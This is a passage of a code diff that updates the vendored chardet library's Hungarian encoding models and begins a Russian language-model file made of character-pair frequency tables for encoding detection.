-3,1,1,2,2,3,3,1,0,1,3,2,3,1,1,1,0,1,1,1,1,1,3,1,0,0,2,2,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -3,1,1,1,2,2,2,1,0,1,2,3,3,2,0,0,0,2,1,1,1,2,1,1,1,0,1,1,1,0,0,0, -1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,2,1,1,1,1,1,1,0,1,1,1,0,0,1,1, -3,2,2,1,0,0,1,1,2,2,0,3,0,1,2,1,1,0,0,1,1,1,0,1,1,1,1,0,2,1,1,1, -2,2,1,1,1,2,1,2,1,1,1,1,1,1,1,2,1,1,1,2,3,1,1,1,1,1,1,1,1,1,0,1, -2,3,3,0,1,0,0,0,3,3,1,0,0,1,2,2,1,0,0,0,0,2,0,0,1,1,1,0,2,1,1,1, -2,1,1,1,1,1,1,2,1,1,0,1,1,0,1,1,1,0,1,2,1,1,0,1,1,1,1,1,1,1,0,1, -2,3,3,0,1,0,0,0,2,2,0,0,0,0,1,2,2,0,0,0,0,1,0,0,1,1,0,0,2,0,1,0, -2,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, -3,2,2,0,1,0,1,0,2,3,2,0,0,1,2,2,1,0,0,1,1,1,0,0,2,1,0,1,2,2,1,1, -2,1,1,1,1,1,1,2,1,1,1,1,1,1,0,2,1,0,1,1,0,1,1,1,0,1,1,2,1,1,0,1, -2,2,2,0,0,1,0,0,2,2,1,1,0,0,2,1,1,0,0,0,1,2,0,0,2,1,0,0,2,1,1,1, -2,1,1,1,1,2,1,2,1,1,1,2,2,1,1,2,1,1,1,2,1,1,1,1,1,1,1,1,1,1,0,1, -1,2,3,0,0,0,1,0,3,2,1,0,0,1,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,2,1, -1,1,0,0,0,1,0,1,1,1,1,1,2,0,0,1,0,0,0,2,0,0,1,1,1,1,1,1,1,1,0,1, -3,0,0,2,1,2,2,1,0,0,2,1,2,2,0,0,0,2,1,1,1,0,1,1,0,0,1,1,2,0,0,0, -1,2,1,2,2,1,1,2,1,2,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,0,0,1, -1,3,2,0,0,0,1,0,2,2,2,0,0,0,2,2,1,0,0,0,0,3,1,1,1,1,0,0,2,1,1,1, -2,1,0,1,1,1,0,1,1,1,1,1,1,1,0,2,1,0,0,1,0,1,1,0,1,1,1,1,1,1,0,1, -2,3,2,0,0,0,1,0,2,2,0,0,0,0,2,1,1,0,0,0,0,2,1,0,1,1,0,0,2,1,1,0, -2,1,1,1,1,2,1,2,1,2,0,1,1,1,0,2,1,1,1,2,1,1,1,1,0,1,1,1,1,1,0,1, -3,1,1,2,2,2,3,2,1,1,2,2,1,1,0,1,0,2,2,1,1,1,1,1,0,0,1,1,0,1,1,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -2,2,2,0,0,0,0,0,2,2,0,0,0,0,2,2,1,0,0,0,1,1,0,0,1,2,0,0,2,1,1,1, -2,2,1,1,1,2,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,1,1,0,1,2,1,1,1,0,1, -1,0,0,1,2,3,2,1,0,0,2,0,1,1,0,0,0,1,1,1,1,0,1,1,0,0,1,0,0,0,0,0, -1,2,1,2,1,2,1,1,1,2,0,2,1,1,1,0,1,2,0,0,1,1,1,0,0,0,0,0,0,0,0,0, -2,3,2,0,0,0,0,0,1,1,2,1,0,0,1,1,1,0,0,0,0,2,0,0,1,1,0,0,2,1,1,1, -2,1,1,1,1,1,1,2,1,0,1,1,1,1,0,2,1,1,1,1,1,1,0,1,0,1,1,1,1,1,0,1, -1,2,2,0,1,1,1,0,2,2,2,0,0,0,3,2,1,0,0,0,1,1,0,0,1,1,0,1,1,1,0,0, -1,1,0,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,2,1,1,1,0,0,1,1,1,0,1,0,1, -2,1,0,2,1,1,2,2,1,1,2,1,1,1,0,0,0,1,1,0,1,1,1,1,0,0,1,1,1,0,0,0, -1,2,2,2,2,2,1,1,1,2,0,2,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,0,0,0,1,0, -1,2,3,0,0,0,1,0,2,2,0,0,0,0,2,2,0,0,0,0,0,1,0,0,1,0,0,0,2,0,1,0, -2,1,1,1,1,1,0,2,0,0,0,1,2,1,1,1,1,0,1,2,0,1,0,1,0,1,1,1,0,1,0,1, -2,2,2,0,0,0,1,0,2,1,2,0,0,0,1,1,2,0,0,0,0,1,0,0,1,1,0,0,2,1,0,1, -2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,2,0,1,1,1,1,1,0,1, -1,2,2,0,0,0,1,0,2,2,2,0,0,0,1,1,0,0,0,0,0,1,1,0,2,0,0,1,1,1,0,1, -1,0,1,1,1,1,1,1,0,1,1,1,1,0,0,1,0,0,1,1,0,1,0,1,1,1,1,1,0,0,0,1, -1,0,0,1,0,1,2,1,0,0,1,1,1,2,0,0,0,1,1,0,1,0,1,1,0,0,1,0,0,0,0,0, -0,2,1,2,1,1,1,1,1,2,0,2,0,1,1,0,1,2,1,0,1,1,1,0,0,0,0,0,0,1,0,0, -2,1,1,0,1,2,0,0,1,1,1,0,0,0,1,1,0,0,0,0,0,1,0,0,1,0,0,0,2,1,0,1, -2,2,1,1,1,1,1,2,1,1,0,1,1,1,1,2,1,1,1,2,1,1,0,1,0,1,1,1,1,1,0,1, -1,2,2,0,0,0,0,0,1,1,0,0,0,0,2,1,0,0,0,0,0,2,0,0,2,2,0,0,2,0,0,1, -2,1,1,1,1,1,1,1,0,1,1,0,1,1,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,0,1, -1,1,2,0,0,3,1,0,2,1,1,1,0,0,1,1,1,0,0,0,1,1,0,0,0,1,0,0,1,0,1,0, -1,2,1,0,1,1,1,2,1,1,0,1,1,1,1,1,0,0,0,1,1,1,1,1,0,1,0,0,0,1,0,0, -2,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,2,0,0,0, -2,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,1,1,1,1,2,1,1,0,0,1,1,1,1,1,0,1, -2,1,1,1,2,1,1,1,0,1,1,2,1,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,1,0,1,1,1,1,1,0,0,1,1,2,1,0,0,0,1,1,0,0,0,1,1,0,0,1,0,1,0,0,0, -1,2,1,1,1,1,1,1,1,1,0,1,0,1,1,1,1,1,1,0,1,1,1,0,0,0,0,0,0,1,0,0, -2,0,0,0,1,1,1,1,0,0,1,1,0,0,0,0,0,1,1,1,2,0,0,1,0,0,1,0,1,0,0,0, -0,1,1,1,1,1,1,1,1,2,0,1,1,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, -1,0,0,1,1,1,1,1,0,0,2,1,0,1,0,0,0,1,0,1,0,0,0,0,0,0,1,0,0,0,0,0, -0,1,1,1,1,1,1,0,1,1,0,1,0,1,1,0,1,1,0,0,1,1,1,0,0,0,0,0,0,0,0,0, -1,0,0,1,1,1,0,0,0,0,1,0,2,0,0,0,0,0,0,0,0,0,2,0,0,0,0,0,0,0,0,0, -0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, -0,0,0,1,0,0,0,0,0,0,1,1,2,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -0,1,1,1,0,1,0,0,1,1,0,1,0,1,1,0,1,1,1,0,1,1,1,0,0,0,0,0,0,0,0,0, -2,1,1,1,1,1,1,1,1,1,1,0,0,1,1,1,0,0,1,0,0,1,0,1,0,1,1,1,0,0,1,0, -0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, -1,0,0,1,1,1,1,0,0,0,1,1,1,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,0,0,0, -0,1,1,1,1,1,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0, -) +WINDOWS_1250_HUNGARIAN_MODEL = SingleByteCharSetModel(charset_name='windows-1250', + language='Hungarian', + char_to_order_map=WINDOWS_1250_HUNGARIAN_CHAR_TO_ORDER, + language_model=HUNGARIAN_LANG_MODEL, + typical_positive_ratio=0.947368, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVZabcdefghijklmnoprstuvzÁÉÍÓÖÚÜáéíóöúüŐőŰű') -Latin2HungarianModel = { - 'char_to_order_map': Latin2_HungarianCharToOrderMap, - 'precedence_matrix': HungarianLangModel, - 'typical_positive_ratio': 0.947368, - 'keep_english_letter': True, - 'charset_name': "ISO-8859-2", - 'language': 'Hungarian', +ISO_8859_2_HUNGARIAN_CHAR_TO_ORDER = { + 0: 255, # '\x00' + 1: 255, # '\x01' + 2: 255, # '\x02' + 3: 255, # '\x03' + 4: 255, # '\x04' + 5: 255, # '\x05' + 6: 255, # '\x06' + 7: 255, # '\x07' + 8: 255, # '\x08' + 9: 255, # '\t' + 10: 254, # '\n' + 11: 255, # '\x0b' + 12: 255, # '\x0c' + 13: 254, # '\r' + 14: 255, # '\x0e' + 15: 255, # '\x0f' + 16: 255, # '\x10' + 17: 255, # '\x11' + 18: 255, # '\x12' + 19: 255, # '\x13' + 20: 255, # '\x14' + 21: 255, # '\x15' + 22: 255, # '\x16' + 23: 255, # '\x17' + 24: 255, # '\x18' + 25: 255, # '\x19' + 26: 255, # '\x1a' + 27: 255, # '\x1b' + 28: 255, # '\x1c' + 29: 255, # '\x1d' + 30: 255, # '\x1e' + 31: 255, # '\x1f' + 32: 253, # ' ' + 33: 253, # '!' + 34: 253, # '"' + 35: 253, # '#' + 36: 253, # '$' + 37: 253, # '%' + 38: 253, # '&' + 39: 253, # "'" + 40: 253, # '(' + 41: 253, # ')' + 42: 253, # '*' + 43: 253, # '+' + 44: 253, # ',' + 45: 253, # '-' + 46: 253, # '.' + 47: 253, # '/' + 48: 252, # '0' + 49: 252, # '1' + 50: 252, # '2' + 51: 252, # '3' + 52: 252, # '4' + 53: 252, # '5' + 54: 252, # '6' + 55: 252, # '7' + 56: 252, # '8' + 57: 252, # '9' + 58: 253, # ':' + 59: 253, # ';' + 60: 253, # '<' + 61: 253, # '=' + 62: 253, # '>' + 63: 253, # '?' + 64: 253, # '@' + 65: 28, # 'A' + 66: 40, # 'B' + 67: 54, # 'C' + 68: 45, # 'D' + 69: 32, # 'E' + 70: 50, # 'F' + 71: 49, # 'G' + 72: 38, # 'H' + 73: 39, # 'I' + 74: 53, # 'J' + 75: 36, # 'K' + 76: 41, # 'L' + 77: 34, # 'M' + 78: 35, # 'N' + 79: 47, # 'O' + 80: 46, # 'P' + 81: 71, # 'Q' + 82: 43, # 'R' + 83: 33, # 'S' + 84: 37, # 'T' + 85: 57, # 'U' + 86: 48, # 'V' + 87: 64, # 'W' + 88: 68, # 'X' + 89: 55, # 'Y' + 90: 52, # 'Z' + 91: 253, # '[' + 92: 253, # '\\' + 93: 253, # ']' + 94: 253, # '^' + 95: 253, # '_' + 96: 253, # '`' + 97: 2, # 'a' + 98: 18, # 'b' + 99: 26, # 'c' + 100: 17, # 'd' + 101: 1, # 'e' + 102: 27, # 'f' + 103: 12, # 'g' + 104: 20, # 'h' + 105: 9, # 'i' + 106: 22, # 'j' + 107: 7, # 'k' + 108: 6, # 'l' + 109: 13, # 'm' + 110: 4, # 'n' + 111: 8, # 'o' + 112: 23, # 'p' + 113: 67, # 'q' + 114: 10, # 'r' + 115: 5, # 's' + 116: 3, # 't' + 117: 21, # 'u' + 118: 19, # 'v' + 119: 65, # 'w' + 120: 62, # 'x' + 121: 16, # 'y' + 122: 11, # 'z' + 123: 253, # '{' + 124: 253, # '|' + 125: 253, # '}' + 126: 253, # '~' + 127: 253, # '\x7f' + 128: 159, # '\x80' + 129: 160, # '\x81' + 130: 161, # '\x82' + 131: 162, # '\x83' + 132: 163, # '\x84' + 133: 164, # '\x85' + 134: 165, # '\x86' + 135: 166, # '\x87' + 136: 167, # '\x88' + 137: 168, # '\x89' + 138: 169, # '\x8a' + 139: 170, # '\x8b' + 140: 171, # '\x8c' + 141: 172, # '\x8d' + 142: 173, # '\x8e' + 143: 174, # '\x8f' + 144: 175, # '\x90' + 145: 176, # '\x91' + 146: 177, # '\x92' + 147: 178, # '\x93' + 148: 179, # '\x94' + 149: 180, # '\x95' + 150: 181, # '\x96' + 151: 182, # '\x97' + 152: 183, # '\x98' + 153: 184, # '\x99' + 154: 185, # '\x9a' + 155: 186, # '\x9b' + 156: 187, # '\x9c' + 157: 188, # '\x9d' + 158: 189, # '\x9e' + 159: 190, # '\x9f' + 160: 191, # '\xa0' + 161: 192, # 'Ą' + 162: 193, # '˘' + 163: 194, # 'Ł' + 164: 195, # '¤' + 165: 196, # 'Ľ' + 166: 197, # 'Ś' + 167: 75, # '§' + 168: 198, # '¨' + 169: 199, # 'Š' + 170: 200, # 'Ş' + 171: 201, # 'Ť' + 172: 202, # 'Ź' + 173: 203, # '\xad' + 174: 204, # 'Ž' + 175: 205, # 'Ż' + 176: 79, # '°' + 177: 206, # 'ą' + 178: 207, # '˛' + 179: 208, # 'ł' + 180: 209, # '´' + 181: 210, # 'ľ' + 182: 211, # 'ś' + 183: 212, # 'ˇ' + 184: 213, # '¸' + 185: 214, # 'š' + 186: 215, # 'ş' + 187: 216, # 'ť' + 188: 217, # 'ź' + 189: 218, # '˝' + 190: 219, # 'ž' + 191: 220, # 'ż' + 192: 221, # 'Ŕ' + 193: 51, # 'Á' + 194: 81, # 'Â' + 195: 222, # 'Ă' + 196: 78, # 'Ä' + 197: 223, # 'Ĺ' + 198: 224, # 'Ć' + 199: 225, # 'Ç' + 200: 226, # 'Č' + 201: 44, # 'É' + 202: 227, # 'Ę' + 203: 228, # 'Ë' + 204: 229, # 'Ě' + 205: 61, # 'Í' + 206: 230, # 'Î' + 207: 231, # 'Ď' + 208: 232, # 'Đ' + 209: 233, # 'Ń' + 210: 234, # 'Ň' + 211: 58, # 'Ó' + 212: 235, # 'Ô' + 213: 66, # 'Ő' + 214: 59, # 'Ö' + 215: 236, # '×' + 216: 237, # 'Ř' + 217: 238, # 'Ů' + 218: 60, # 'Ú' + 219: 69, # 'Ű' + 220: 63, # 'Ü' + 221: 239, # 'Ý' + 222: 240, # 'Ţ' + 223: 241, # 'ß' + 224: 82, # 'ŕ' + 225: 14, # 'á' + 226: 74, # 'â' + 227: 242, # 'ă' + 228: 70, # 'ä' + 229: 80, # 'ĺ' + 230: 243, # 'ć' + 231: 72, # 'ç' + 232: 244, # 'č' + 233: 15, # 'é' + 234: 83, # 'ę' + 235: 77, # 'ë' + 236: 84, # 'ě' + 237: 30, # 'í' + 238: 76, # 'î' + 239: 85, # 'ď' + 240: 245, # 'đ' + 241: 246, # 'ń' + 242: 247, # 'ň' + 243: 25, # 'ó' + 244: 73, # 'ô' + 245: 42, # 'ő' + 246: 24, # 'ö' + 247: 248, # '÷' + 248: 249, # 'ř' + 249: 250, # 'ů' + 250: 31, # 'ú' + 251: 56, # 'ű' + 252: 29, # 'ü' + 253: 251, # 'ý' + 254: 252, # 'ţ' + 255: 253, # '˙' } -Win1250HungarianModel = { - 'char_to_order_map': win1250HungarianCharToOrderMap, - 'precedence_matrix': HungarianLangModel, - 'typical_positive_ratio': 0.947368, - 'keep_english_letter': True, - 'charset_name': "windows-1250", - 'language': 'Hungarian', -} +ISO_8859_2_HUNGARIAN_MODEL = SingleByteCharSetModel(charset_name='ISO-8859-2', + language='Hungarian', + char_to_order_map=ISO_8859_2_HUNGARIAN_CHAR_TO_ORDER, + language_model=HUNGARIAN_LANG_MODEL, + typical_positive_ratio=0.947368, + keep_ascii_letters=True, + alphabet='ABCDEFGHIJKLMNOPRSTUVZabcdefghijklmnoprstuvzÁÉÍÓÖÚÜáéíóöúüŐőŰű') + diff --git a/thirdparty/chardet/langrussianmodel.py b/thirdparty/chardet/langrussianmodel.py new file mode 100644 index 00000000000..222b19bce32 --- /dev/null +++ b/thirdparty/chardet/langrussianmodel.py @@ -0,0 +1,5718 @@ +#!/usr/bin/env python +# -*- coding: utf-8 -*- + +from .sbcharsetprober import SingleByteCharSetModel + + +# 3: Positive +# 2: Likely +# 1: Unlikely +# 0: Negative + +RUSSIAN_LANG_MODEL = { + 37: { # 'А' + 37: 0, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 1, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 1, # 'Ю' + 43: 1, # 'Я' + 3: 1, # 'а' + 21: 2, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 0, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 1, # 'й' + 11: 2, # 'к' + 8: 3, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 0, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 2, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 2, # 'ф' + 26: 2, # 'х' + 28: 0, # 'ц' + 22: 1, # 'ч' + 25: 2, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 1, # 'э' + 27: 0, # 'ю' + 16: 0, # 'я' + }, + 44: { # 'Б' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 0, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 0, # 'в' + 19: 0, # 'г' + 13: 1, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 0, # 'м' + 5: 0, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 2, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 33: { # 'В' + 37: 2, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 1, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 1, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 1, # 'в' + 19: 1, # 'г' + 13: 2, # 'д' + 2: 3, # 'е' + 24: 0, # 'ж' + 20: 2, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 2, # 'н' + 1: 3, # 'о' + 15: 2, # 'п' + 9: 2, # 'р' + 7: 3, # 'с' + 6: 2, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 1, # 'ц' + 22: 2, # 'ч' + 25: 1, # 'ш' + 29: 0, # 'щ' + 54: 1, # 'ъ' + 18: 3, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 0, # 'ю' + 16: 1, # 'я' + }, + 46: { # 'Г' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 0, # 'б' + 10: 1, # 'в' + 19: 0, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 1, # 'ь' + 30: 1, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 41: { # 'Д' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 0, # 'Г' + 41: 0, # 'Д' + 48: 2, # 'Е' + 56: 1, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 1, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 3, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 0, # 'д' + 2: 2, # 'е' + 24: 3, # 'ж' + 20: 1, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 2, # 'л' + 12: 1, # 'м' + 5: 1, # 'н' + 1: 3, # 'о' + 15: 0, # 'п' + 9: 2, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 1, # 'ь' + 30: 2, # 'э' + 27: 1, # 'ю' + 16: 1, # 'я' + }, + 48: { # 'Е' + 37: 1, # 'А' + 44: 1, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 1, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 1, # 'Й' + 36: 1, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 2, # 'Н' + 34: 1, # 'О' + 35: 1, # 'П' + 45: 2, # 'Р' + 32: 2, # 'С' + 40: 1, # 'Т' + 52: 0, # 'У' + 53: 0, # 'Ф' + 55: 1, # 'Х' + 58: 1, # 'Ц' + 50: 1, # 'Ч' + 57: 1, # 'Ш' + 63: 1, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 1, # 'Я' + 3: 0, # 'а' + 21: 0, # 'б' + 10: 2, # 'в' + 19: 2, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 1, # 'з' + 4: 0, # 'и' + 23: 2, # 'й' + 11: 1, # 'к' + 8: 2, # 'л' + 12: 2, # 'м' + 5: 1, # 'н' + 1: 0, # 'о' + 15: 1, # 'п' + 9: 1, # 'р' + 7: 3, # 'с' + 6: 0, # 'т' + 14: 0, # 'у' + 39: 1, # 'ф' + 26: 1, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 1, # 'ш' + 29: 2, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 1, # 'ю' + 16: 0, # 'я' + }, + 56: { # 'Ж' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 0, # 'В' + 46: 0, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 1, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 0, # 'Л' + 38: 0, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 0, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 0, # 'Ы' + 61: 0, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 2, # 'а' + 21: 1, # 'б' + 10: 0, # 'в' + 19: 1, # 'г' + 13: 1, # 'д' + 2: 2, # 'е' + 24: 1, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 0, # 'л' + 12: 1, # 'м' + 5: 0, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 2, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 0, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 2, # 'ю' + 16: 0, # 'я' + }, + 51: { # 'З' + 37: 1, # 'А' + 44: 0, # 'Б' + 33: 1, # 'В' + 46: 1, # 'Г' + 41: 1, # 'Д' + 48: 1, # 'Е' + 56: 0, # 'Ж' + 51: 0, # 'З' + 42: 1, # 'И' + 60: 0, # 'Й' + 36: 0, # 'К' + 49: 1, # 'Л' + 38: 1, # 'М' + 31: 1, # 'Н' + 34: 1, # 'О' + 35: 0, # 'П' + 45: 1, # 'Р' + 32: 0, # 'С' + 40: 0, # 'Т' + 52: 1, # 'У' + 53: 0, # 'Ф' + 55: 0, # 'Х' + 58: 0, # 'Ц' + 50: 0, # 'Ч' + 57: 0, # 'Ш' + 63: 0, # 'Щ' + 62: 1, # 'Ы' + 61: 1, # 'Ь' + 47: 0, # 'Э' + 59: 0, # 'Ю' + 43: 0, # 'Я' + 3: 3, # 'а' + 21: 1, # 'б' + 10: 2, # 'в' + 19: 0, # 'г' + 13: 2, # 'д' + 2: 2, # 'е' + 24: 0, # 'ж' + 20: 0, # 'з' + 4: 2, # 'и' + 23: 0, # 'й' + 11: 0, # 'к' + 8: 1, # 'л' + 12: 1, # 'м' + 5: 2, # 'н' + 1: 2, # 'о' + 15: 0, # 'п' + 9: 1, # 'р' + 7: 0, # 'с' + 6: 0, # 'т' + 14: 1, # 'у' + 39: 0, # 'ф' + 26: 0, # 'х' + 28: 0, # 'ц' + 22: 0, # 'ч' + 25: 0, # 'ш' + 29: 0, # 'щ' + 54: 0, # 'ъ' + 18: 1, # 'ы' + 17: 0, # 'ь' + 30: 0, # 'э' + 27: 0, # 'ю' + 16: 1, # 'я' + }, + 42: { # 'И' + 37: 1, # 'А' + 44: 1, # 'Б' 